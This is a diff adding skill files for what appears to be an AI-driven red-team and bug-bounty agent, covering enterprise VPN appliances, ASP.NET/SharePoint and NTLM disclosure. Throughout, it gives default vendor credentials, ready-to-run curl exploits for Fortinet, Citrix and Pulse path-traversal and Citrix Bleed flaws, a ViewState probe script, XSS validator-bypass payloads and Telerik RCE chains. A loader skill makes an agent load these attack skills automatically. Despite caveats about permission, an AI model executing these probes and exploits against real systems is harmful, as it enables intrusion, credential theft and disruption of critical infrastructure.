+- Audience-restriction validation gaps
+- Public SP signing cert (for replay/forging attacks)
+
+---
+
+## Default credentials (test sparingly — lockout risk)
+
+| Vendor | User | Password | Notes |
+|---|---|---|---|
+| Cisco ASA | admin | cisco | Default factory; rarely seen in prod |
+| Cisco ASA | enable_15 | cisco | Console |
+| Fortinet | admin | (empty) | Factory default |
+| Citrix NetScaler | nsroot | nsroot | Factory default |
+| Citrix NetScaler | nsroot | (serial number) | Newer firmware |
+| Palo Alto | admin | admin | Factory default |
+| Pulse Secure | admin | password | Factory; CIS-hardened changes this |
+| F5 Big-IP | root | default | Factory |
+| F5 Big-IP | admin | admin | Common alternate |
+| SonicWall | admin | password | Factory |
+
+⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.
+
+---
+
+## Group / tunnel-group enumeration (Cisco-specific)
+
+Cisco ASA AAA groups can sometimes be enumerated without auth.
+
+```bash
+# Tunnel group enumeration via timing
+for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
+ ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \
+ -X POST "https://target/+webvpn+/index.html" \
+ -d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
+ echo "$group: ${ms}s"
+done
+# Larger differential timing = group exists; valid groups respond slower in some builds
+```
+
+---
+
+## AAA backend identification
+
+After auth fails, look at error response details:
+
+| Pattern in response | AAA backend |
+|---|---|
+| `a0=2` (Cisco) | Unknown user |
+| `a0=3` (Cisco) | Wrong password |
+| `a0=4` (Cisco) | Login restricted |
+| `a0=12` (Cisco) | Account locked |
+| `a0=115` (Cisco) | Generic auth fail (LDAP/RADIUS/AD layer error) |
+| AADSTS in response body | Backed by Entra (SAML) |
+| `Authentication failed via RADIUS` | RADIUS backend |
+| `Invalid username or password` (generic) | LDAP or local DB |
+
+If you see SAML/Entra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.
+
+---
+
+## Common probe sequence (5-minute fingerprint)
+
+```bash
+TARGET="vpn.target.com"
+
+# Cisco
+curl -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
+curl -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
+curl -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html
+
+# Fortinet
+curl -skI "https://$TARGET/remote/login" 2>&1 | head -3
+curl -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt
+
+# Citrix
+curl -skI "https://$TARGET/" 2>&1 | head -3
+curl -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
+HOST=$(python3 -c "print('A' * 24812)")
+curl -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
+wc -c /tmp/citrix_bleed.txt
+
+# Palo Alto
+curl -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3
+
+# Pulse / Ivanti
+curl -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
+curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt
+```
+
+---
+
+## Nuclei templates for fast triage
+
+Nuclei has high-quality templates for most of the above CVEs. Single command sweeps:
+
+```bash
+nuclei -u https://target/ \
+ -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
+ -severity high,critical -rl 5
+```
+
+Add `-as` (auto-scan) for broader vuln coverage but slower.
+
+---
+
+## Operational discipline
+
+- **Banner-stripped servers (no version disclosure)** are good defense-in-depth — record as positive finding even if no CVE found
+- **Rate-limit yourself** — these appliances often log every request to a SIEM. Patient pace, jittered timing.
+- **SAML metadata is anonymous** — pull it. It's intel about AAA backend.
+- **Don't run pre-auth-RCE PoCs in red team without explicit OK** — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.
+- **Document the AAA backend identification** — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.
+
+---
+
+## Bridge to neighboring skills
+
+- `m365-entra-attack` — when AAA backend is Entra SAML; cred-spray strategy carries over
+- `hunt-saml` — XSW / signature-stripping if SAML SP is misconfigured
+- `mid-engagement-ir-detection` — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement
+- `redteam-mindset` — banner-stripped ≠ "not vulnerable"; keep digging via behavioral fingerprints
+
+---
+
+## Anti-patterns
+
+- **Don't conclude "patched" from a 404 on one CVE path** — patches deploy unevenly; test 3+ CVEs per vendor
+- **Don't trust the version banner alone** — appliance vendors often backport fixes without bumping the version string
+- **Don't run heavy nuclei scans without rate-limiting** — these appliances are critical infrastructure
+- **Don't fingerprint by trying all CVE PoCs immediately** — start with non-disruptive HEAD + version-banner probes
+- **Don't skip SAML metadata** — even when the appliance is patched, SAML SP misconfig is its own attack surface
diff --git a/skills/hunt-aspnet/SKILL.md b/skills/hunt-aspnet/SKILL.md
new file mode 100644
index 0000000..250dd14
--- /dev/null
+++ b/skills/hunt-aspnet/SKILL.md
@@ -0,0 +1,267 @@
+---
+name: hunt-aspnet
+description: Hunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
+sources: github, engagement_2026_05
+report_count: 1
+---
+
+## Crown Jewel Targets
+
+ASP.NET deserialization bugs pay among the highest amounts in bug bounty when they reach RCE. Even when patched, the disclosure-tier findings (signed-only ViewState, dual-parser differential, request-validator quirks) reliably pay Low-Medium.
+
+**Highest-value targets:**
+
+- **SharePoint farms** (any version — 2013/2016/2019/SE) — sign-only ViewState + permissive ToolPane.aspx + anonymous FormDigest creates the CVE-2025-53770 ToolShell precondition chain
+- **Telerik UI for ASP.NET AJAX** — `Telerik.Web.UI.WebResource.axd` is a documented RCE sink when keys leak (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
+- **Classic ASP.NET Webforms enterprise apps** — banking portals, dealer portals, HR systems left on .NET Framework 4.x
+- **WCF services** (`*.svc?WSDL`) — often forgotten admin endpoints with looser auth than the main app
+- **Sitecore CMS** — ViewState + Sitecore-specific deserialization chains (CVE-2021-42237)
+- **DotNetNuke (DNN)** — historic ViewState RCE chains
+- **Umbraco CMS** — ViewState + custom deserialization sinks
+
+**Asset types that pay most:** internet-reachable ASP.NET Webforms apps > WCF admin services > Telerik-integrated sites > Classic ASP.NET MVC with VSF (very rare)
+
+---
+
+## Attack Surface Signals
+
+**Response headers indicating ASP.NET:**
+```
+X-AspNet-Version: 4.0.30319 (classic — disclosure on its own)
+X-Powered-By: ASP.NET
+X-AspNetMvc-Version: 5.2
+Server: Microsoft-IIS/10.0
+Set-Cookie: ASP.NET_SessionId=...
+Set-Cookie: .ASPXAUTH=... (Forms auth cookie)
+Set-Cookie: .ASPXFORMSAUTH=...
+Set-Cookie: ASP.NET_SessionId=...; SameSite=None (suggests cross-origin embedding)
+```
+
+**Body signals (in form HTML):**
+```
+<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="..." />
+<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="..." />
+<input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" />
+ ↑ EMPTY = signed-only, not encrypted = exploitable if key leaks
+<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="..." />
+<input type="hidden" name="__REQUESTDIGEST" id="__REQUESTDIGEST" value="0x...,...">
+ ↑ SharePoint CSRF token; if anon-issued, see hunt-sharepoint
+```
+
+**URL patterns to probe:**
+```
+/trace.axd (per-app trace viewer; sometimes anon-accessible)
+/elmah.axd (ELMAH error log viewer)
+/elmah.axd/?id=... (ELMAH RCE / stack-trace leak)
+/*.svc (WCF services)
+/*.svc?wsdl (WCF WSDL)
+/*.svc/mex (Metadata Exchange)
+/*.asmx (legacy SOAP)
+/*.asmx?WSDL (legacy SOAP description)
+/*.asmx?disco (legacy discovery)
+/Telerik.Web.UI.WebResource.axd (Telerik AJAX components)
+/ChartImg.axd (DataVisualization controls; historic deserialization)
+/ScriptResource.axd (script resource handler; sometimes leaks paths)
+/WebResource.axd (web resource handler)
+/_vti_bin/* (SharePoint Web Service Forwarder)
+/api/ (Web API 2.x is ASP.NET on classic framework)
+/signin (often FedAuth / WS-Federation)
+```
+
+**Tech-stack signals:**
+- `Server: Microsoft-IIS/10.0` (or `/8.5`, `/7.5`) — confirmed Windows + IIS
+- `X-AspNet-Version` header — classic .NET Framework (4.x); .NET Core/5+ does NOT emit this
+- Cookies with `ASP.NET_SessionId`, `.ASPXAUTH`, `FedAuth` — Forms or claims auth
+- `__VIEWSTATE` in form bodies — Webforms (NOT MVC, NOT Razor Pages, NOT Blazor)
+- `MicrosoftSharePointTeamServices` header (sometimes stripped by ELB but leaks in `start.aspx` body) — SharePoint
+
+---
+
+## Step-by-Step Hunting Methodology
+
+1. **Fingerprint the framework version.** Trigger any 500 error (stale ViewState POST is a reliable way) and look for `Version Information: Microsoft .NET Framework Version:X.X.XXXXX; ASP.NET Version:X.X.XXXX.X` in the error body. This banner discloses both the runtime and ASP.NET-version-specific patch level. .NET 4.0.30319 + ASP.NET 4.8.x is the most common modern combination.
+
+2. **Locate every form with `__VIEWSTATE`.** Spider the target and grep for `name="__VIEWSTATE"`. Each is a candidate sink for deserialization attacks if MAC / encryption is bypassable.
+
+3. **Check `__VIEWSTATEENCRYPTED` value.** Empty (`value=""`) means ViewState is signed-only via `<machineKey>` but NOT encrypted. Recovery of the validation key → arbitrary deserialization. Non-empty (`value="something"`) means ViewState is BOTH signed and encrypted; both keys needed to forge.
+
+4. **Test the ViewState parser-error differential** (the dual-parser anti-pattern). Send 7+ ViewState shapes and classify responses:
+ - Trivial garbage (`AAAA`) → `"Validation of viewstate MAC failed"`
+ - Real prefix from current page → `"Validation of viewstate MAC failed"`
+ - Flipped-bit real ViewState → `"Validation of viewstate MAC failed"`
+ - Oversize (`A * 100000`) → `"Validation of viewstate MAC failed"`
+ - XML-shaped (`<xss/>`) → **"The state information is invalid for this page and might be corrupted"** ← different parser path
+ - LosFormatter-style prefix (`/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA...`) → **"The state information is invalid for this page and might be corrupted"**
+
+ The differential proves there are **two distinct deserialization entry points**, one of which dispatches BEFORE the MAC check on some payload shapes. Historically this enables MAC-before-parse-bypass exploits.
+
+5. **Look for load-balanced cross-node ViewState MAC failures.** If POST gets a 500 with `"Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey..."`, the farm has multiple WFEs WITHOUT machineKey sync, or without sticky-session affinity. Operationally this breaks legit users; security-wise it confirms farm topology.
+
+6. **Probe `trace.axd` and `elmah.axd`.** If either returns 200 anonymously, it's a Critical finding (trace leaks every request + headers + form data; ELMAH leaks every server error including stack traces).
+
+7. **Enumerate WCF services (`.svc`).** For each, fetch `?wsdl` and `?mex` (metadata exchange). MEX endpoints sometimes return full service contracts including admin operations.
+
+8. **Test request-validator bypass.** ASP.NET's request validator blocks `<` in query strings by default. Bypass categories that may still get through:
+ - HTML-entity-encoded payloads (`&lt;script&gt;` — but these don't execute)
+ - Encoded inside JSON / XML POST bodies (different content-type ≠ same validator)
+ - In path segments (not query) — validator scope depends on framework version
+ - In Cookie / Referer headers (varies)
+ - Inside `<%@ ... %>` ASP directives if reached via WebDAV PUT (rare)
+
+9. **Check `customErrors` mode.** If 500s expose full stack traces, framework versions, file paths, internal method names → `customErrors mode="Off"` is set. Should be `RemoteOnly` for production.
+
+10. **Look for Telerik components.** `Telerik.Web.UI.WebResource.axd?type=rau` is the historic upload-to-RCE chain (CVE-2017-11317). The `dialogParametersHolder` parameter chain (CVE-2019-18935) requires the encryption key but is otherwise RCE.
+
+11. **SharePoint-specific deserialization paths** — see `hunt-sharepoint` skill for the ToolPane.aspx + anonymous FormDigest + unencrypted ViewState chain.
+
+12. **SafeControl enumeration via reflection.** SharePoint's `Picker.aspx?PickerDialogType=<TypeName>` (and DNN-equivalent endpoints) accept class names and return DIFFERENT error messages for "type exists but not whitelisted" vs "type does not exist." Feed a wordlist of `Microsoft.SharePoint.*.WebControls.*` types to enumerate the SafeControl list — useful for CVE-2019-0604-family hunting.
+
+---
+
+## Payload & Detection Patterns
+
+**Stack-trace fingerprint (trigger via stale ViewState POST):**
+```bash
+curl -sk -X POST "https://target.example/page.aspx" \
+ --data "__VIEWSTATE=AAAA&__VIEWSTATEGENERATOR=AAAA"
+# Inspect body for:
+# - "Validation of viewstate MAC failed" → confirms signed ViewState
+# - "The state information is invalid for this page" → confirms ALTERNATE parser path
+# - "Version Information: Microsoft .NET Framework Version:X.X.XXXXX" → exact patch level
+# - "Microsoft.SharePoint.Client.ServerStub..." → SharePoint farm
+```
+
+**ViewState parser-error differential probe (Python):**
+```python
+import requests, re, json
+S = requests.Session(); S.verify = False
+# Get fresh form
+r = S.get("https://target.example/path/page.aspx")
+real_vs = re.search(r'__VIEWSTATE" id="__VIEWSTATE" value="([^"]+)', r.text).group(1)
+real_vsg = re.search(r'__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="([^"]+)', r.text).group(1)
+
+# Test 7 payload shapes
+for label, vs in [
+ ("trivial", "AAAA"),
+ ("real", real_vs),
+ ("flipped-bit", real_vs[:50] + "X" + real_vs[51:]),
+ ("oversize", "A" * 100000),
+ ("base64", "VGVzdE1hcmtlcjY3OFhZWg=="),
+ ("xml-shaped", "<xss/>"),
+ ("losformatter", "/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA" + "A"*50),
+]:
+ r = S.post("https://target.example/path/page.aspx",
+ data={"__VIEWSTATE": vs, "__VIEWSTATEGENERATOR": real_vsg})
+ title = re.search(r'<title>([^<]+)</title>', r.text)
+ title = title.group(1)[:100] if title else "—"
+ print(f" [{label:14s}] {r.status_code} {title}")
+```
+
+**`trace.axd` anonymous check:**
+```bash
+curl -sk -o /dev/null -w "%{http_code}\n" "https://target.example/trace.axd"
+# 200 = full trace dump exposed → Critical
+# 403 = mod set to localhost-only → check via X-Forwarded-For: 127.0.0.1
+```
+
+**WCF service enumeration:**
+```bash
+# Find all .svc files
+curl -sk "https://target.example/" -o body.html
+grep -oE '/[a-zA-Z0-9/_-]+\.svc' body.html | sort -u
+# For each found:
+curl -sk "https://target.example/Service.svc?wsdl" | xmllint --format - | head -60
+```
+
+**Request-validator bypass categories:**
+```
+# Default: <script>alert(1)</script> in ?q= → "Potentially dangerous Request.QueryString value detected"
+# Bypasses that sometimes work:
+?q=%3cscript%3e (URL-encoded — depends on validator config)
+?q=<svg/onload=alert(1)> (depends on validator version)
+?q=<%00script> (NUL-byte; older validators)
+?q=javascript:alert(1) (no < at all — passes validator)
+Cookie: foo=<script> (cookie body not validated by default)
+Referer: http://x.com/<script> (referer not validated in classic ASP.NET)
+```
+
+**Telerik exploit gate (CVE-2019-18935 — requires encryption keys):**
+```bash
+# Fingerprint Telerik
+curl -sk "https://target.example/Telerik.Web.UI.WebResource.axd?type=rau" -X POST
+# If response is RadAsyncUploadHandler-style → Telerik present; try keys
+# Public exploits require leaked machineKey AND telerikEncryptionKey
+```
+
+---
+
+## Common Root Causes
+
+1. **`viewStateEncryption="Auto"` defaults to signed-only on pages without sensitive ViewState data.** Many SharePoint pages are configured this way. When `__VIEWSTATEENCRYPTED` is empty, ViewState is signed-only — recovery of `validationKey` alone enables forgery.
+
+2. **`<machineKey>` AutoGenerate in a Web Farm.** Each WFE generates a different key on first boot; ViewState issued by one WFE fails MAC validation on another. Operationally produces 500s; security-wise broadcasts the topology (the error message names the cluster).
+
+3. **`<customErrors mode="Off">` left from development.** Stack traces with full method names, file paths, version banners exposed to anonymous internet users.
+
+4. **`trace.axd` / `elmah.axd` left enabled in production.** Often forgotten in `<system.web><trace enabled="true">` blocks.
+
+5. **Forgotten WCF `.svc` admin endpoints.** Built for internal admin tooling, never disabled when the main app went to internet exposure.
+
+6. **Dual-parser anti-pattern: `ObjectStateFormatter` (legacy) vs `LosFormatter` (modern) deserialize in different orders relative to MAC validation.** Some payload shapes hit the legacy parser BEFORE MAC check.
+
+7. **Request validator only applies to URL-encoded body and querystring.** Headers, cookies, XML/JSON bodies, and multipart fields are NOT validated by default. Developers assume validator is universal; it is not.
+
+8. **`<machineKey>` checked into source repos.** Configuration check-ins to GitHub frequently leak validation/decryption keys. Combine with `hunt-misc` source-recon for Telerik / SharePoint / DNN keys.
+
+9. **`SafeControls` web.config entries trusted to gate deserialization.** SharePoint's `<SafeControl>` list determines which classes Picker.aspx can instantiate. Bypasses exist when the inheritance check is the only gate (CVE-2019-0604 family).
+
+---
+
+## Bypass Techniques
+
+| Defense | Bypass |
+|---|---|
+| `__VIEWSTATEENCRYPTED` non-empty (encrypted) | Recover both decryption + validation keys from any source-code leak / config-disclosure / VS forge primitive; without keys, deserialization cannot be triggered |
+| Request validator blocks `<` in querystring | Move payload to Cookie / Referer / JSON body / multipart filename — validator doesn't reach those contexts in classic ASP.NET |
+| `EnableViewStateMac="true"` enforced | Recover `validationKey` from web.config disclosure or `<machineKey>` AutoGenerate fingerprinting (ysoserial.net `--minify --islegacy` mode generates ViewState that passes some MAC-validation gaps) |
+| `trace.axd` localhost-only | Set `X-Forwarded-For: 127.0.0.1` if the trace mode is `localOnly` and the validation uses Request.UserHostAddress (some apps use Forwarded-For instead) |
+| WCF `.svc` 401 on anonymous | Try `?wsdl` and `?mex` first; metadata is sometimes anonymously enumerable even when service ops require auth |
+| Telerik upload patched | Check the Telerik version: anything pre-2017Q1 (build 2017.1.118 or earlier) is the original RAU RCE. Check 2017Q3 - 2019Q3 for CVE-2019-18935 |
+| `SafeControl` whitelist enforced | Inheritance gate (`instanceof PickerDialog`) IS the gate on patched SP — bypass requires finding a SafeControl subclass with a deserialization sink; enumerate via Picker.aspx |
+| `customErrors mode="On"` (no stack traces) | Force a different error path: invalid Content-Length, malformed ViewState that triggers a parser-level exception below the customErrors handler |
+
+---
+
+## Gate 0 Validation
+
+Before writing the report, confirm:
+
+1. **What can the attacker DO right now with the disclosed information?**
+ - `trace.axd` 200 with full request dump → **Critical** (PII / session cookies / Authorization headers exposed)
+ - `elmah.axd` 200 with error log → **High** (stack traces + internal paths + sometimes credentials)
+ - `__VIEWSTATEENCRYPTED` empty + recoverable machineKey via separate finding → **Critical chain to RCE**
+ - `__VIEWSTATEENCRYPTED` empty without key recovery → **Low-Medium** (primitive present, not exploitable on its own)
+ - Stack traces in 500s → **Low** unless they include credentials / connection strings
+
+2. **Have you reproduced the full chain to attacker-attainable impact, or only the primitive?**
+ - Cross-reference `triage-validation` Pre-Severity Gate. "Primitive confirmed" is not Critical until the chain ends in impact.
+
+3. **Can a triager reproduce in <10 min from your report?**
+ - Each step copy-pasteable curl / Python.
+ - For RCE chains: link the public exploit tool (ysoserial.net, viewgen, telerik-revda) and the specific gadget chain.
+
+---
+
+## Real Impact Examples
+
+### Scenario A — Signed-only ViewState + permissive ToolPane on EoL SharePoint 2013
+
+`https://target-portal.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit` returns 200 anonymously. The form contains `__VIEWSTATE` (signed only — `__VIEWSTATEENCRYPTED=""`), and `__REQUESTDIGEST` is anonymously issued via `_api/contextinfo`. Combined with SP2013 being end-of-life (no patch will ever ship), this is the canonical CVE-2025-53770 "ToolShell" precondition chain on a permanently-unpatched code path. Reported severity: **Critical**. The dual-parser test (Section 4 of Methodology) confirmed that XML-shaped payloads reach the legacy `ObjectStateFormatter` BEFORE MAC validation — additional evidence that the chain is reachable even without full machineKey recovery (though full RCE requires both).
+
+### Scenario B — Telerik RadAsyncUploadHandler exposed on legacy bank portal
+
+`/Telerik.Web.UI.WebResource.axd?type=rau` returns the Telerik upload handler. Telerik version (visible in JS bundle metadata) is 2016.3.1027. CVE-2017-11317 applies — keys are baked into the public Telerik DLL of that version. Upload → write `aspx` to `/app_data/` → request → RCE. Reported severity: **Critical**.
+
+### Scenario C — trace.axd + elmah.axd both exposed on enterprise HR portal
+
+`trace.axd` 200 returns 50 most recent requests, including `Authorization: Bearer eyJ...` headers on API requests. `elmah.axd` 200 returns full error log with database connection-string in one of the exceptions. Reported severity: **Critical** (credentials in plaintext to anonymous internet).
diff --git a/skills/hunt-dispatch/SKILL.md b/skills/hunt-dispatch/SKILL.md
new file mode 100644
index 0000000..096ff48
--- /dev/null
+++ b/skills/hunt-dispatch/SKILL.md
@@ -0,0 +1,157 @@
+---
+name: hunt-dispatch
+description: Skill-set loader for /hunt orchestrator. Fingerprints the target, picks the right platform attack skills, and loads the Red Team or WAPT skill set. Use when /hunt has just received a mode answer (redteam or wapt + blackbox|greybox) and needs to load the appropriate skills and print the taxonomy. Not for direct user invocation.
+---
+
+# hunt-dispatch
+
+skill-set loader for `/hunt`. one concept (which skills to load), one place.
+
+invocation contract:
+
+```
+hunt-dispatch mode=redteam
+hunt-dispatch mode=wapt box=blackbox
+hunt-dispatch mode=wapt box=greybox
+```
+
+## step 1 — fingerprint (red team only)
+
+run a one-shot fingerprint and parse `recon/<target>/live-hosts.txt` if present:
+
+```bash
+curl -sI "https://$TARGET" 2>/dev/null | tr -d '\r'
+test -f "recon/$TARGET/live-hosts.txt" && cat "recon/$TARGET/live-hosts.txt"
+```
+
+look for the following signals → platform skill mapping:
+
+```
+okta.com | auth0.com | pingidentity → okta-attack
+login.microsoftonline.com | outlook | sts → m365-entra-attack
+pulse | fortinet | ivanti | citrix → enterprise-vpn-attack
+vsphere | vcenter | :9443 → vmware-vcenter-attack
+amazonaws | azure | googleapis | gcp → cloud-iam-deep
+github.com/<org>/ → supply-chain-attack-recon
+.apk | play.google.com → apk-redteam-pipeline
+```
+
+multiple matches → load all matching platform skills.
+
+## step 2 — load skill set
+
+invoke each skill in order via the Skill tool.
+
+### mode=redteam
+
+always-on (load first):
+
+```
+redteam-mindset
+mid-engagement-ir-detection
+```
+
+platform (load second, conditional on fingerprint matches from step 1):
+
+```
+okta-attack
+m365-entra-attack
+enterprise-vpn-attack
+vmware-vcenter-attack
+cloud-iam-deep
+supply-chain-attack-recon
+apk-redteam-pipeline
+```
+
+high-impact hunt-* set (load third):
+
+```
+hunt-rce
+hunt-sqli
+hunt-ssrf
+hunt-ato
+hunt-auth-bypass
+hunt-saml
+hunt-oauth
+hunt-mfa-bypass
+hunt-file-upload
+hunt-http-smuggling
+hunt-cloud-misconfig
+hunt-sharepoint
+hunt-aspnet
+```
+
+report format: `redteam-report-template` (subject / observations / description / impact / recommendation / poc).
+
+### mode=wapt
+
+always-on:
+
+```
+bb-methodology
+security-arsenal
+triage-validation
+```
+
+full hunt-* set (all OWASP-relevant):
+
+```
+hunt-xss hunt-sqli hunt-ssrf hunt-idor
+hunt-csrf hunt-xxe hunt-rce hunt-graphql
+hunt-oauth hunt-saml hunt-mfa-bypass hunt-auth-bypass
+hunt-ato hunt-file-upload hunt-business-logic hunt-race
+hunt-race-condition hunt-llm-ai hunt-api-misconfig hunt-ssti
+hunt-cache-poisoning hunt-cache-poison hunt-http-smuggling hunt-subdomain
+hunt-subdomain-takeover hunt-cloud-misconfig hunt-misc hunt-aspnet
+hunt-sharepoint hunt-ntlm-info
+```
+
+report format: `report-writing` (`bugcrowd-reporting` if the target is on bugcrowd).
+
+box=greybox: creds already captured by `/hunt`, available in session memory. apply them to every authenticated test.
+
+## step 3 — taxonomy print (once, at session start)
+
+emit a deterministic block. plain text, lowercase, colon-delimited, no decoration.
+
+### mode=redteam
+
+```
+loaded for red team: {N} skills
+ mindset: redteam-mindset
+ platform: {fingerprint-matched skills, or "none detected"}
+ auth: hunt-ato, hunt-auth-bypass, hunt-saml, hunt-oauth, hunt-mfa-bypass
+ inj: hunt-rce, hunt-sqli, hunt-ssrf, hunt-file-upload
+ infra: hunt-http-smuggling, hunt-cloud-misconfig
+ stack: hunt-sharepoint, hunt-aspnet
+ ir: mid-engagement-ir-detection
+```
+
+### mode=wapt
+
+```
+loaded for wapt ({blackbox|greybox}): {N} skills
+ inj: hunt-xss, hunt-sqli, hunt-ssrf, hunt-rce, hunt-xxe, hunt-ssti, hunt-file-upload
+ authz: hunt-idor, hunt-auth-bypass, hunt-ato
+ auth: hunt-oauth, hunt-saml, hunt-mfa-bypass
+ api: hunt-graphql, hunt-api-misconfig
+ logic: hunt-business-logic, hunt-race, hunt-race-condition
+ infra: hunt-http-smuggling, hunt-cache-poison, hunt-cache-poisoning
+ recon: hunt-subdomain, hunt-subdomain-takeover
+ cloud: hunt-cloud-misconfig
+ ai: hunt-llm-ai
+ stack: hunt-aspnet, hunt-sharepoint, hunt-ntlm-info
+ misc: hunt-misc, hunt-csrf
+ reporting: bb-methodology, security-arsenal, triage-validation
+```
+
+## step 4 — return control to /hunt
+
+after taxonomy print, hand control back to `/hunt` for step 3 (sibling delegation) and step 4 (active testing). do not run probes here — this skill only loads context.
+
+## privacy
+
+never echo back, log, or persist:
+- SOW / scope-of-work / engagement-letter content
+- grey box credentials (kept in session memory by `/hunt`, never written to disk)
+- client identifiers in user-level memory
diff --git a/skills/hunt-ntlm-info/SKILL.md b/skills/hunt-ntlm-info/SKILL.md
new file mode 100644
index 0000000..50c57a9
--- /dev/null
+++ b/skills/hunt-ntlm-info/SKILL.md
@@ -0,0 +1,260 @@
+---
+name: hunt-ntlm-info
+description: Hunt NTLM/Negotiate information disclosure on internet-reachable IIS/SharePoint/Exchange. Anonymous NTLM Type-2 challenge capture leaks NetBIOS domain, internal DNS forest, computer name, AD timestamp via AV_PAIRS structure. Default Windows-installer hostnames (WIN-XXXXXXXXXXX pattern) signal lazy provisioning. Use when target advertises `WWW-Authenticate: NTLM` or `Negotiate` headers anonymously.
+sources: github, engagement_2026_05
+report_count: 1
+---
+
+## Crown Jewel Targets
+
+NTLM info disclosure is a **Medium-severity finding when chained to context** — the leak itself is intentional protocol behavior (RFC-compliant NTLMSSP challenge), but on internet-exposed enterprise infrastructure it provides exact reconnaissance for the next stage of an attack. Highest-value targets:
+
+- **Internet-reachable IIS / SharePoint / Exchange / OWA** with dual-auth (Forms + NTLM, or NTLM + Kerberos)
+- **Citrix NetScaler / VMware Horizon View** internet-facing gateways with NTLM-backed AD auth
+- **Lync / Skype for Business / Teams On-Prem** edge servers
+- **WSUS / Windows Update Services** with NTLM-protected admin paths
+- **CIFS-style fileshare proxies** (HCL Sametime, IBM Notes Domino) that proxy NTLM
+- **Legacy SharePoint farms** that left NTLM enabled on the public-zone IIS binding
+
+**What makes this pay:**
+- Internal AD domain disclosure (parent-forest mapping, e.g. `customer.parent-corp.example` → tenant inside corporate-AD tree)
+- Default-Windows-hostname disclosure (`WIN-XXXXXXXXXXX` pattern signals rushed provisioning → likely default service-account passwords)
+- Timestamp leak (used in NTLMv2 hash cracking acceleration)
+- Direct attack-map enrichment for credential spraying combined with `hunt-auth-bypass` Legacy-Protocol Matrix
+
+---
+
+## Attack Surface Signals
+
+**Response headers signaling NTLM availability:**
+```
+WWW-Authenticate: NTLM
+WWW-Authenticate: Negotiate
+WWW-Authenticate: NTLM, Negotiate
+WWW-Authenticate: Negotiate, NTLM
+```
+
+**URL patterns where NTLM is commonly exposed:**
+```
+/_api/web/CurrentUser (SharePoint REST)
+/_vti_bin/*.asmx (SharePoint legacy SOAP)
+/EWS/Exchange.asmx (Exchange Web Services)
+/Autodiscover/Autodiscover.xml (Exchange autodiscover)
+/owa/ (Outlook Web App)
+/Microsoft-Server-ActiveSync (ActiveSync)
+/PowerShell (Exchange Mgmt Shell over HTTPS)
+/api/v3/ (TeamCity, Atlassian)
+/wsus/ (Windows Server Update Services)
+/manager/html (some Tomcat behind IIS)
+/iisstart.htm (default IIS, sometimes reveals NTLM upstream)
+```
+
+**Tech-stack signals:**
+- IIS on the public internet (almost always NTLM-capable, even if Forms is the front)
+- SharePoint Web Front End (almost always dual-auth Forms + NTLM)
+- Exchange edge transport
+- Server header `Microsoft-HTTPAPI/2.0`, `Microsoft-IIS/*`, `IIS/*`
+
+---
+
+## Step-by-Step Hunting Methodology
+
+1. **Probe every anonymous endpoint for `WWW-Authenticate: NTLM`.** Send a vanilla GET and inspect response headers. If NTLM is offered, proceed.
+
+2. **Send a valid NTLMSSP Type-1 message anonymously.** The Type-1 base64 below requests NetBIOS-domain and Workstation info from the server:
+ ```
+ Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
+ ```
+ This is the standard test Type-1 with negotiate flags `NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_OEM | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_56 | NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_TARGET_INFO`. The `OS Version` field (`06 01 B1 1D 00 00 00 0F`) is Windows 7 build 7601 — accepted by virtually every NTLM responder.
+
